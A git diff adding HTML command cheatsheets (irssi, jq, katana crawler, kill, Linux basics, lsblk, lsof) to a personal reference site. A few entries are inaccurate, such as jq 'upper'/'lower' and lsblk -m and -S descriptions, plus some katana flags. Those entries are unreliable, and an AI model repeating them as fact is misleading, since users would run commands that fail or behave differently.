+    autoconnect = "yes";
+  }
+);
+
+chatnets = {
+  Libera = {
+    type = "IRC";
+    autosendcmd = "/^msg nickserv identify <password>; wait 2000";
+  };
+};
+
+channels = (
+  { name = "#channel"; chatnet = "Libera"; autojoin = "yes"; }
+);
+
+settings = {
+  "core" = {
+    real_name = "Your Name";
+    user_name = "username";
+    nick = "YourNick";
+    alternate_nick = "YourNick_";
+  };
+};
+
+

Tips

+
    +
  • Use /help <command> for command help
  • +
+
    +
  • Use /alias to create shortcuts for frequent commands
  • +
+
    +
  • Use /bind to customize key bindings
  • +
+
    +
  • Enable autolog to keep chat history
  • +
+
    +
  • Use window navigation (Alt+number) for efficient multitasking
  • +
+
    +
  • Use /whois to check user information
  • +
+
    +
  • Use /ignore to ignore annoying users
  • +
+
    +
  • Scripts can extend functionality significantly
  • +
+
    +
  • Use Ctrl+X Ctrl+X to switch between windows
  • +
+
    +
  • Configure auto-join channels in config file
  • +
+
    +
  • Use SSL/TLS for secure connections (port 6697)
  • +
+
    +
  • Use /save after making changes
  • +
+
    +
  • Create separate windows for different channels
  • +
+
    +
  • Use /window close to clean up unused windows
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + \ No newline at end of file diff --git a/cheatsheets/jq.html b/cheatsheets/jq.html new file mode 100644 index 0000000..55e5e33 --- /dev/null +++ b/cheatsheets/jq.html @@ -0,0 +1,245 @@ + + + + + + + + + + + jq Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

jq Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

jq is a lightweight and flexible command-line JSON processor. Parse, filter, transform, and manipulate JSON data with ease. Essential for API responses, configuration files, and data processing pipelines.

+
+

Basic Usage

+
    +
  • jq '.' file.json - Pretty print JSON
  • +
+
    +
  • jq '.key' file.json - Extract value by key
  • +
+
    +
  • echo '{"key":"value"}' | jq '.' - Pipe JSON
  • +
+
    +
  • jq -r '.key' file.json - Raw output (no quotes)
  • +
+
+

Filtering

+
    +
  • jq '.key' - Get value
  • +
+
    +
  • jq '.key1.key2' - Nested access
  • +
+
    +
  • jq '.[]' - Array iteration
  • +
+
    +
  • jq '.[0]' - First element
  • +
+
    +
  • jq '.[-1]' - Last element
  • +
+
    +
  • jq '.[:3]' - First 3 elements
  • +
+
    +
  • jq '.[] | select(.key == "value")' - Filter objects
  • +
+
    +
  • jq '.[] | select(.key > 10)' - Numeric comparison
  • +
+
+

Object Operations

+
    +
  • jq '.key1, .key2' - Multiple keys
  • +
+
    +
  • jq '{newkey: .oldkey}' - Rename key
  • +
+
    +
  • jq '. + {newkey: "value"}' - Add key
  • +
+
    +
  • jq 'del(.key)' - Delete key
  • +
+
    +
  • jq 'keys' - List all keys
  • +
+
    +
  • jq 'has("key")' - Check if key exists
  • +
+
+

Array Operations

+
    +
  • jq '.array[]' - Iterate array
  • +
+
    +
  • jq '.array | length' - Array length
  • +
+
    +
  • jq '.array | .[0:3]' - Slice array
  • +
+
    +
  • jq '.array + ["new"]' - Append element
  • +
+
    +
  • jq '.array | map(.key)' - Extract key from objects
  • +
+
    +
  • jq '.array | sort' - Sort array
  • +
+
    +
  • jq '.array | unique' - Remove duplicates
  • +
+
    +
  • jq '.array | reverse' - Reverse array
  • +
+
+

String Operations

+
    +
  • jq '.key | length' - String length
  • +
+
    +
  • jq '.key | split(",")' - Split string
  • +
+
    +
  • jq '.key | startswith("prefix")' - Check prefix
  • +
+
    +
  • jq '.key | endswith("suffix")' - Check suffix
  • +
+
    +
  • jq '.key | contains("substring")' - Check substring
  • +
+
    +
  • jq '.key | upper' - Uppercase
  • +
+
    +
  • jq '.key | lower' - Lowercase
  • +
+
+

Output Options

+
    +
  • -r / --raw-output - Raw string output
  • +
+
    +
  • -c / --compact-output - Compact JSON
  • +
+
    +
  • -s / --slurp - Read entire input as array
  • +
+
    +
  • -n / --null-input - Null input
  • +
+
    +
  • --tab - Use tabs for indentation
  • +
+
    +
  • --indent N - Indentation level
  • +
+
+

Common Examples

+

Pretty Print

+
cat data.json | jq '.'
+

Format JSON nicely.

+

Extract Field

+
jq '.name' users.json
+

Get name field from objects.

+

Filter Array

+
jq '.[] | select(.status == "active")' users.json
+

Filter objects by condition.

+

Extract Multiple Fields

+
jq '{name: .name, id: .id}' users.json
+

Create new object with selected fields.

+

Array to CSV

+
jq -r '.[] | [.name, .email] | @csv' users.json
+

Convert JSON array to CSV.

+

Count Elements

+
jq '.items | length' data.json
+

Count items in array.

+

Sum Values

+
jq '[.[] | .price] | add' items.json
+

Sum numeric values.

+

Group By

+
jq 'group_by(.category) | map({category: .[0].category, count: length})' items.json
+

Group objects by field.

+

Flatten Nested

+
jq '.users[].name' data.json
+

Extract from nested arrays.

+

Merge Objects

+
jq '. + {timestamp: now}' data.json
+

Add field to object.

+
+

Tips

+
    +
  • Use -r for raw string output in scripts
  • +
+
    +
  • Use .[] to iterate arrays and objects
  • +
+
    +
  • Use select() for filtering
  • +
+
    +
  • Use map() to transform arrays
  • +
+
    +
  • Combine filters with | (pipe)
  • +
+
    +
  • Use @csv, @tsv for formatted output
  • +
+
    +
  • Essential for API response processing
  • +
+
    +
  • Great for configuration file manipulation
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/katana.html b/cheatsheets/katana.html new file mode 100644 index 0000000..d6ec713 --- /dev/null +++ b/cheatsheets/katana.html @@ -0,0 +1,205 @@ + + + + + + + + + + + katana Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

katana Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

Katana is a fast web crawler designed for web application security testing. Discovers endpoints, parameters, and hidden paths through intelligent crawling and JavaScript execution.

+
+

Basic Usage

+
    +
  • katana -u https://example.com - Crawl URL
  • +
+
    +
  • katana -list urls.txt - Crawl from list
  • +
+
    +
  • katana -u https://example.com -o output.txt - Save output
  • +
+
    +
  • katana -u https://example.com -json - JSON output
  • +
+
+

Options

+
    +
  • -u url - Target URL
  • +
+
    +
  • -list file - URLs from file
  • +
+
    +
  • -o file - Output file
  • +
+
    +
  • -json - JSON output format
  • +
+
    +
  • -depth N - Max crawl depth (default: 3)
  • +
+
    +
  • -scope domain - Scope to domain
  • +
+
    +
  • -crawl - Enable crawling
  • +
+
    +
  • -js-crawl - JavaScript crawling
  • +
+
    +
  • -headless - Use headless browser
  • +
+
    +
  • -timeout N - Request timeout (seconds)
  • +
+
+

Filtering

+
    +
  • -match-regex pattern - Match regex
  • +
+
    +
  • -filter-regex pattern - Filter regex
  • +
+
    +
  • -match-status 200,301 - Match status codes
  • +
+
    +
  • -filter-status 404 - Filter status codes
  • +
+
    +
  • -match-size N - Match response size
  • +
+
    +
  • -filter-size N - Filter response size
  • +
+
+

Advanced Options

+
    +
  • -delay N - Delay between requests (ms)
  • +
+
    +
  • -concurrency N - Concurrent requests
  • +
+
    +
  • -rate-limit N - Rate limit (req/sec)
  • +
+
    +
  • -proxy http://proxy:8080 - Use proxy
  • +
+
    +
  • -header "Name: Value" - Custom header
  • +
+
    +
  • -cookie "name=value" - Cookie
  • +
+
    +
  • -user-agent "UA" - User agent
  • +
+
+

Common Examples

+

Basic Crawl

+
katana -u https://example.com
+

Crawl target website.

+

Save Output

+
katana -u https://example.com -o urls.txt
+

Save discovered URLs.

+

JSON Output

+
katana -u https://example.com -json -o results.json
+

Output in JSON format.

+

JavaScript Crawling

+
katana -u https://example.com -js-crawl -headless
+

Enable JS execution.

+

Depth Limit

+
katana -u https://example.com -depth 5
+

Set crawl depth.

+

Scope to Domain

+
katana -u https://example.com -scope example.com
+

Limit to domain.

+

Filter Status

+
katana -u https://example.com -filter-status 404
+

Exclude 404 responses.

+

With Proxy

+
katana -u https://example.com -proxy http://127.0.0.1:8080
+

Route through proxy.

+

Custom Headers

+
katana -u https://example.com -header "Authorization: Bearer token"
+

Add authentication header.

+

From List

+
katana -list urls.txt -o discovered.txt
+

Crawl multiple URLs.

+
+

Tips

+
    +
  • Use -js-crawl for modern SPAs
  • +
+
    +
  • Adjust -depth based on site size
  • +
+
    +
  • Use -scope to avoid crawling external sites
  • +
+
    +
  • Filter out noise with -filter-status
  • +
+
    +
  • Use -json for programmatic processing
  • +
+
    +
  • Combine with other tools in pipelines
  • +
+
    +
  • Respect rate limits and robots.txt
  • +
+
    +
  • Great for endpoint discovery
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/kill.html b/cheatsheets/kill.html new file mode 100644 index 0000000..d4be52e --- /dev/null +++ b/cheatsheets/kill.html @@ -0,0 +1,190 @@ + + + + + + + + + + + kill Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

kill Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

kill sends signals to processes. Terminate, pause, resume, or control processes by PID. Essential for process management and system administration.

+
+

Basic Usage

+
    +
  • kill PID - Send TERM signal (default)
  • +
+
    +
  • kill -9 PID - Force kill (SIGKILL)
  • +
+
    +
  • kill -15 PID - Terminate gracefully (SIGTERM)
  • +
+
    +
  • kill -HUP PID - Hangup signal (reload)
  • +
+
    +
  • killall process_name - Kill by name
  • +
+
    +
  • pkill pattern - Kill by pattern
  • +
+
+

Common Signals

+
    +
  • SIGHUP (1) - Hangup, reload configuration
  • +
+
    +
  • SIGINT (2) - Interrupt (Ctrl+C)
  • +
+
    +
  • SIGQUIT (3) - Quit with core dump
  • +
+
    +
  • SIGTERM (15) - Terminate gracefully
  • +
+
    +
  • SIGKILL (9) - Force kill (cannot be caught)
  • +
+
    +
  • SIGSTOP (19) - Stop process
  • +
+
    +
  • SIGCONT (18) - Continue stopped process
  • +
+
+

Signal Syntax

+
    +
  • kill -SIGTERM PID - Signal name
  • +
+
    +
  • kill -15 PID - Signal number
  • +
+
    +
  • kill -TERM PID - Short name
  • +
+
    +
  • kill -l - List all signals
  • +
+
    +
  • kill -L - List signals with numbers
  • +
+
+

Killing Multiple Processes

+
    +
  • kill PID1 PID2 PID3 - Multiple PIDs
  • +
+
    +
  • killall process_name - All processes by name
  • +
+
    +
  • pkill -f pattern - Match full command line
  • +
+
    +
  • kill -9 $(pgrep process) - Kill by pgrep
  • +
+
+

Common Examples

+

Terminate Process

+
kill 1234
+

Send TERM signal to PID.

+

Force Kill

+
kill -9 1234
+

Force kill unresponsive process.

+

Reload Process

+
kill -HUP 1234
+

Send hangup signal (reload config).

+

Kill by Name

+
killall firefox
+

Kill all firefox processes.

+

Kill by Pattern

+
pkill -f "python script.py"
+

Kill matching processes.

+

Stop Process

+
kill -STOP 1234
+

Pause process.

+

Continue Process

+
kill -CONT 1234
+

Resume stopped process.

+

List Signals

+
kill -l
+

Show all available signals.

+

Kill Process Tree

+
pkill -P 1234
+

Kill process and children.

+

Kill User Processes

+
pkill -u username
+

Kill all processes for user.

+
+

Tips

+
    +
  • Use SIGTERM first for graceful shutdown
  • +
+
    +
  • Use SIGKILL (-9) only when necessary
  • +
+
    +
  • SIGKILL cannot be caught or ignored
  • +
+
    +
  • Use killall or pkill for convenience
  • +
+
    +
  • Check process with ps before killing
  • +
+
    +
  • Use -HUP to reload configurations
  • +
+
    +
  • Essential for process management
  • +
+
    +
  • Be careful with killall on production
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/linux.html b/cheatsheets/linux.html new file mode 100644 index 0000000..99ec7c9 --- /dev/null +++ b/cheatsheets/linux.html @@ -0,0 +1,568 @@ + + + + + + + + + + + linux terminal commands Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

linux terminal commands Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

Essential Linux terminal commands and shell shortcuts.

+
+

File and Directory Operations

+
    +
  • ls - List files
  • +
+
    +
  • ls -l - List files (long format)
  • +
+
    +
  • ls -a - List all files (including hidden)
  • +
+
    +
  • ls -lah - List all files with details
  • +
+
    +
  • cd <dir> - Change directory
  • +
+
    +
  • cd .. - Go to parent directory
  • +
+
    +
  • cd ~ - Go to home directory
  • +
+
    +
  • cd - - Go to previous directory
  • +
+
    +
  • pwd - Print working directory
  • +
+
    +
  • mkdir <dir> - Create directory
  • +
+
    +
  • mkdir -p <dir> - Create directory (with parents)
  • +
+
    +
  • rmdir <dir> - Remove empty directory
  • +
+
    +
  • rm <file> - Remove file
  • +
+
    +
  • rm -r <dir> - Remove directory recursively
  • +
+
    +
  • rm -rf <dir> - Remove directory (force)
  • +
+
    +
  • cp <source> <dest> - Copy file
  • +
+
    +
  • cp -r <source> <dest> - Copy directory
  • +
+
    +
  • mv <source> <dest> - Move or rename file
  • +
+
    +
  • touch <file> - Create empty file or update timestamp
  • +
+
+

File Permissions and Ownership

+
    +
  • chmod <mode> <file> - Change file permissions
  • +
+
    +
  • chmod +x <file> - Make file executable
  • +
+
    +
  • chmod 755 <file> - Set permissions (rwxr-xr-x)
  • +
+
    +
  • chmod 644 <file> - Set permissions (rw-r--r--)
  • +
+
    +
  • chown <user>:<group> <file> - Change ownership
  • +
+
    +
  • chown -R <user>:<group> <dir> - Change ownership recursively
  • +
+
    +
  • sudo <command> - Execute command as root
  • +
+
    +
  • sudo su - - Switch to root user
  • +
+
+

User and Group Management

+

User Commands

+
    +
  • useradd <user> - Create new user
  • +
+
    +
  • useradd -m <user> - Create user with home directory
  • +
+
    +
  • useradd -G <group> <user> - Create user with additional group
  • +
+
    +
  • usermod -aG <group> <user> - Add user to group
  • +
+
    +
  • usermod -L <user> - Lock user account
  • +
+
    +
  • usermod -U <user> - Unlock user account
  • +
+
    +
  • userdel <user> - Delete user
  • +
+
    +
  • userdel -r <user> - Delete user and home directory
  • +
+
    +
  • passwd <user> - Change password for user
  • +
+
    +
  • passwd - Change your own password
  • +
+
    +
  • passwd -l <user> - Lock password (prevent login)
  • +
+
    +
  • passwd -u <user> - Unlock password
  • +
+
    +
  • passwd -e <user> - Force password expiration
  • +
+
    +
  • chage -l <user> - List password aging info
  • +
+
    +
  • id <user> - Show user ID and groups
  • +
+
    +
  • whoami - Show current username
  • +
+
    +
  • who - Show logged in users
  • +
+
    +
  • w - Show logged in users and what they're doing
  • +
+

Group Commands

+
    +
  • groupadd <group> - Create new group
  • +
+
    +
  • groupdel <group> - Delete group
  • +
+
    +
  • groupmod -n <newname> <oldname> - Rename group
  • +
+
    +
  • groups - Show groups for current user
  • +
+
    +
  • groups <user> - Show groups for user
  • +
+
    +
  • gpasswd -a <user> <group> - Add user to group
  • +
+
    +
  • gpasswd -d <user> <group> - Remove user from group
  • +
+
    +
  • getent group <group> - Show group information
  • +
+

Sudo Commands

+
    +
  • sudo -u <user> <command> - Run command as another user
  • +
+
    +
  • sudo -s - Start shell as root
  • +
+
    +
  • sudo su - <user> - Switch to another user
  • +
+
    +
  • visudo - Edit sudoers file safely
  • +
+
+

Text Processing

+
    +
  • cat <file> - Display file contents
  • +
+
    +
  • less <file> - View file (scrollable)
  • +
+
    +
  • more <file> - View file (page by page)
  • +
+
    +
  • head <file> - Show first lines
  • +
+
    +
  • tail <file> - Show last lines
  • +
+
    +
  • tail -f <file> - Follow file (watch updates)
  • +
+
    +
  • grep <pattern> <file> - Search for pattern
  • +
+
    +
  • grep -r <pattern> <dir> - Search recursively
  • +
+
    +
  • grep -i <pattern> <file> - Case insensitive search
  • +
+
    +
  • sed 's/old/new/g' <file> - Replace text
  • +
+
    +
  • awk '{print $1}' <file> - Print first column
  • +
+
    +
  • wc <file> - Count lines, words, characters
  • +
+
    +
  • wc -l <file> - Count lines
  • +
+
    +
  • sort <file> - Sort lines
  • +
+
    +
  • uniq <file> - Remove duplicate lines
  • +
+
    +
  • cut -d: -f1 <file> - Cut by delimiter
  • +
+
+

Process Management

+
    +
  • ps - List processes
  • +
+
    +
  • ps aux - List all processes
  • +
+
    +
  • top - Show running processes (interactive)
  • +
+
    +
  • htop - Enhanced process viewer
  • +
+
    +
  • kill <pid> - Kill process
  • +
+
    +
  • kill -9 <pid> - Force kill process
  • +
+
    +
  • killall <name> - Kill all processes by name
  • +
+
    +
  • pkill <name> - Kill processes by name
  • +
+
    +
  • jobs - List background jobs
  • +
+
    +
  • fg - Bring job to foreground
  • +
+
    +
  • bg - Send job to background
  • +
+
    +
  • nohup <command> - Run command immune to hangups
  • +
+
+

System Information

+
    +
  • df - Show disk space
  • +
+
    +
  • df -h - Show disk space (human readable)
  • +
+
    +
  • du - Show directory size
  • +
+
    +
  • du -h - Show directory size (human readable)
  • +
+
    +
  • free - Show memory usage
  • +
+
    +
  • free -h - Show memory usage (human readable)
  • +
+
    +
  • uname -a - Show system information
  • +
+
    +
  • uptime - Show uptime
  • +
+
    +
  • whoami - Show current user
  • +
+
    +
  • id - Show user and group IDs
  • +
+
    +
  • hostname - Show hostname
  • +
+
    +
  • date - Show date and time
  • +
+
+

Archiving and Compression

+
    +
  • tar -cf <archive.tar> <files> - Create tar archive
  • +
+
    +
  • tar -xf <archive.tar> - Extract tar archive
  • +
+
    +
  • tar -czf <archive.tar.gz> <files> - Create gzipped tar
  • +
+
    +
  • tar -xzf <archive.tar.gz> - Extract gzipped tar
  • +
+
    +
  • gzip <file> - Compress file
  • +
+
    +
  • gunzip <file.gz> - Decompress file
  • +
+
    +
  • zip <archive.zip> <files> - Create zip archive
  • +
+
    +
  • unzip <archive.zip> - Extract zip archive
  • +
+
+

Network Operations

+
    +
  • ping <host> - Ping host
  • +
+
    +
  • wget <url> - Download file
  • +
+
    +
  • curl <url> - Download file or fetch URL
  • +
+
    +
  • ssh <user>@<host> - Connect via SSH
  • +
+
    +
  • scp <file> <user>@<host>:<path> - Copy file via SSH
  • +
+
    +
  • rsync -av <source> <dest> - Sync files
  • +
+
    +
  • netstat - Show network connections
  • +
+
    +
  • ifconfig - Show network interfaces
  • +
+
    +
  • ip addr - Show IP addresses
  • +
+
+

Shell Shortcuts

+
    +
  • Ctrl+A - Move to beginning of line
  • +
+
    +
  • Ctrl+E - Move to end of line
  • +
+
    +
  • Ctrl+U - Delete from cursor to beginning of line
  • +
+
    +
  • Ctrl+K - Delete from cursor to end of line
  • +
+
    +
  • Ctrl+W - Delete word before cursor
  • +
+
    +
  • Ctrl+R - Reverse search history
  • +
+
    +
  • Ctrl+C - Cancel/terminate command
  • +
+
    +
  • Ctrl+D - Exit shell or delete character
  • +
+
    +
  • Ctrl+L - Clear screen
  • +
+
    +
  • Ctrl+Z - Suspend process
  • +
+
    +
  • Alt+F - Move forward one word
  • +
+
    +
  • Alt+B - Move backward one word
  • +
+
    +
  • !! - Repeat last command
  • +
+
    +
  • !<n> - Repeat command number n from history
  • +
+
    +
  • !<string> - Repeat last command starting with string
  • +
+
+

Redirection and Pipes

+
    +
  • <command> > <file> - Redirect output to file (overwrite)
  • +
+
    +
  • <command> >> <file> - Redirect output to file (append)
  • +
+
    +
  • <command> < <file> - Redirect input from file
  • +
+
    +
  • <command> 2> <file> - Redirect stderr to file
  • +
+
    +
  • <command> | <command> - Pipe output to another command
  • +
+
    +
  • <command> & - Run command in background
  • +
+
    +
  • <command1> && <command2> - Run command2 if command1 succeeds
  • +
+
    +
  • <command1> || <command2> - Run command2 if command1 fails
  • +
+
+

Configuration

+

Config File Locations

+
    +
  • ~/.bashrc - Bash configuration
  • +
+
    +
  • ~/.zshrc - Zsh configuration
  • +
+
    +
  • ~/.config/fish/config.fish - Fish shell configuration
  • +
+
    +
  • ~/.profile - Shell profile (all shells)
  • +
+
    +
  • ~/.bash_profile - Bash profile
  • +
+

Example Aliases

+

Add to your shell config:

+
# File operations
+alias ll='ls -lah'
+alias la='ls -A'
+alias l='ls -CF'
+alias ..='cd ..'
+alias ...='cd ../..'
+
+# Git shortcuts
+alias gs='git status'
+alias ga='git add'
+alias gc='git commit'
+alias gp='git push'
+alias gl='git pull'
+
+# System
+alias df='df -h'
+alias du='du -h'
+alias free='free -h'
+
+# Editor
+export EDITOR=nvim
+export VISUAL=nvim
+
+

Tips

+
    +
  • Use tab completion for file names and commands
  • +
+
    +
  • Use man <command> for help pages
  • +
+
    +
  • Use <command> --help for command help
  • +
+
    +
  • Use history to see command history
  • +
+
    +
  • Use pipes to chain commands together
  • +
+
    +
  • Use wildcards (*, ?) for pattern matching
  • +
+
    +
  • Use quotes for strings with spaces
  • +
+
    +
  • Use backticks or $() for command substitution
  • +
+
    +
  • Use && and || for conditional execution
  • +
+
    +
  • Use aliases for frequently used commands
  • +
+
+

← Back to cheatsheets

+

← Home

+
+
+
+
+ + + + \ No newline at end of file diff --git a/cheatsheets/lsblk.html b/cheatsheets/lsblk.html new file mode 100644 index 0000000..1c1df40 --- /dev/null +++ b/cheatsheets/lsblk.html @@ -0,0 +1,272 @@ + + + + + + + + + + + lsblk Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

lsblk Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

lsblk (list block devices) displays information about block devices in a tree format. Shows disks, partitions, and their mount points in an easy-to-read hierarchy.

+
+

Basic Usage

+
    +
  • lsblk - List all block devices
  • +
+
    +
  • lsblk -a - Show all devices
  • +
+
    +
  • lsblk -f - Show filesystem information
  • +
+
    +
  • lsblk -m - Show mount points
  • +
+
    +
  • lsblk -o column1,column2 - Custom output
  • +
+
+

Options

+
    +
  • -a - Show all devices
  • +
+
    +
  • -f - Show filesystem information
  • +
+
    +
  • -m - Show mount points
  • +
+
    +
  • -l - Use list format instead of tree
  • +
+
    +
  • -n - No headings
  • +
+
    +
  • -o columns - Specify output columns
  • +
+
    +
  • -b - Print sizes in bytes
  • +
+
    +
  • -d - Don't print holder devices
  • +
+
    +
  • -e list - Exclude devices by major number
  • +
+
    +
  • -i - ASCII characters only
  • +
+
    +
  • -p - Print full device paths
  • +
+
    +
  • -r - Raw output
  • +
+
    +
  • -s - Inverse dependencies
  • +
+
    +
  • -S - Sort by size
  • +
+
    +
  • -t - Show topology information
  • +
+
    +
  • -x column - Sort by column
  • +
+
+

Output Columns

+
    +
  • NAME - Device name
  • +
+
    +
  • KNAME - Kernel device name
  • +
+
    +
  • MAJ:MIN - Major and minor numbers
  • +
+
    +
  • FSTYPE - Filesystem type
  • +
+
    +
  • MOUNTPOINT - Mount point
  • +
+
    +
  • LABEL - Filesystem label
  • +
+
    +
  • UUID - Filesystem UUID
  • +
+
    +
  • PARTUUID - Partition UUID
  • +
+
    +
  • PARTLABEL - Partition label
  • +
+
    +
  • SIZE - Size
  • +
+
    +
  • TYPE - Device type
  • +
+
    +
  • RO - Read-only flag
  • +
+
    +
  • RM - Removable device flag
  • +
+
    +
  • MODEL - Device model
  • +
+
    +
  • SERIAL - Serial number
  • +
+
    +
  • STATE - State
  • +
+
    +
  • OWNER - Device owner
  • +
+
    +
  • GROUP - Device group
  • +
+
    +
  • MODE - Device node permissions
  • +
+
    +
  • ALIGNMENT - Alignment offset
  • +
+
    +
  • MIN-IO - Minimum I/O size
  • +
+
    +
  • OPT-IO - Optimal I/O size
  • +
+
    +
  • PHY-SEC - Physical sector size
  • +
+
    +
  • LOG-SEC - Logical sector size
  • +
+
    +
  • ROTA - Rotational device flag
  • +
+
    +
  • SCHED - I/O scheduler
  • +
+
    +
  • RQ-SIZE - Request queue size
  • +
+
    +
  • DISC-ALN - Discard alignment offset
  • +
+
    +
  • DISC-GRAN - Discard granularity
  • +
+
    +
  • DISC-MAX - Discard max bytes
  • +
+
    +
  • DISC-ZERO - Discard zeroes data
  • +
+
+

Common Examples

+

Basic List

+
lsblk
+

Show all block devices in tree format.

+

With Filesystems

+
lsblk -f
+

Include filesystem information.

+

With Mount Points

+
lsblk -m
+

Show mount points.

+

List Format

+
lsblk -l
+

Use list instead of tree.

+

Custom Columns

+
lsblk -o NAME,SIZE,TYPE,MOUNTPOINT
+

Show specific columns.

+

Full Paths

+
lsblk -p
+

Show full device paths.

+

Sort by Size

+
lsblk -S
+

Sort devices by size.

+

All Information

+
lsblk -f -m -o NAME,SIZE,TYPE,FSTYPE,MOUNTPOINT
+

Comprehensive view.

+
+

Tips

+
    +
  • Use -f to see filesystem types
  • +
+
    +
  • Use -m to see mount points
  • +
+
    +
  • Use -o to customize output
  • +
+
    +
  • Use -l for script-friendly output
  • +
+
    +
  • Use -p for full device paths
  • +
+
    +
  • Tree format shows hierarchy clearly
  • +
+
    +
  • Essential for disk management
  • +
+
    +
  • Great for understanding partition layout
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/lsof.html b/cheatsheets/lsof.html new file mode 100644 index 0000000..8ff7b0a --- /dev/null +++ b/cheatsheets/lsof.html @@ -0,0 +1,219 @@ + + + + + + + + + + + lsof Cheatsheet - Cheatsheets - Launch Pad + + + +

+
+ __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
+
+
+ + + +

lsof Cheatsheet

+
+
+
+
+
+
+

← Back to cheatsheets

+

← Home

+
+

lsof (list open files) shows information about files opened by processes. Lists open files, network connections, and file descriptors. Essential for debugging and system administration.

+
+

Basic Usage

+
    +
  • lsof - List all open files
  • +
+
    +
  • lsof -p PID - Files by process
  • +
+
    +
  • lsof -u user - Files by user
  • +
+
    +
  • lsof file - Processes using file
  • +
+
    +
  • lsof -i - Network connections
  • +
+
+

Process Selection

+
    +
  • -p PID - Process ID
  • +
+
    +
  • -p PID1,PID2 - Multiple PIDs
  • +
+
    +
  • -p ^PID - Exclude PID
  • +
+
    +
  • -c command - Command name
  • +
+
    +
  • -u user - Username
  • +
+
    +
  • -u ^user - Exclude user
  • +
+
+

File Selection

+
    +
  • lsof file - Specific file
  • +
+
    +
  • lsof +D directory - Directory
  • +
+
    +
  • lsof +d directory - Directory (non-recursive)
  • +
+
    +
  • -a - AND conditions
  • +
+
    +
  • -t - Show only PIDs
  • +
+
+

Network Options

+
    +
  • -i - All network connections
  • +
+
    +
  • -i TCP - TCP connections
  • +
+
    +
  • -i UDP - UDP connections
  • +
+
    +
  • -i :port - Specific port
  • +
+
    +
  • -i @host - Specific host
  • +
+
    +
  • -i @host:port - Host and port
  • +
+
    +
  • -i TCP:port - TCP on port
  • +
+
    +
  • -i UDP:port - UDP on port
  • +
+
+

Output Options

+
    +
  • -F - Field output
  • +
+
    +
  • -l - Show login names
  • +
+
    +
  • -n - No hostname resolution
  • +
+
    +
  • -P - No port name resolution
  • +
+
    +
  • -t - PID only
  • +
+
    +
  • -w - Suppress warnings
  • +
+
    +
  • -V - Version
  • +
+
+

Common Examples

+

Process Files

+
lsof -p 1234
+

Files opened by process.

+

User Files

+
lsof -u username
+

Files opened by user.

+

File Usage

+
lsof /path/to/file
+

Processes using file.

+

Network Connections

+
lsof -i
+

All network connections.

+

Port Usage

+
lsof -i :80
+

Process using port 80.

+

TCP Connections

+
lsof -i TCP
+

All TCP connections.

+

Specific Host

+
lsof -i @192.168.1.1
+

Connections to/from host.

+

Command Files

+
lsof -c firefox
+

Files opened by command.

+

Directory Files

+
lsof +D /var/log
+

Files in directory.

+

PID Only

+
lsof -t -i :80
+

Get PID using port.

+
+

Tips

+
    +
  • Use -i for network troubleshooting
  • +
+
    +
  • Use -t to get PIDs for scripts
  • +
+
    +
  • Use -n and -P for faster output
  • +
+
    +
  • Combine with kill to free resources
  • +
+
    +
  • Use -a to combine conditions
  • +
+
    +
  • Essential for debugging file locks
  • +
+
    +
  • Great for finding port conflicts
  • +
+
    +
  • Useful for security auditing
  • +
+
+
+
+
+ + + + + diff --git a/cheatsheets/magic-wormhole.html b/cheatsheets/magic-wormhole.html new file mode 100644 index 0000000..f587555 --- /dev/null +++ b/cheatsheets/magic-wormhole.html @@ -0,0 +1,154 @@ + + + + + + + + + + + magic-wormhole Cheatsheet - Launch Pad + + + +
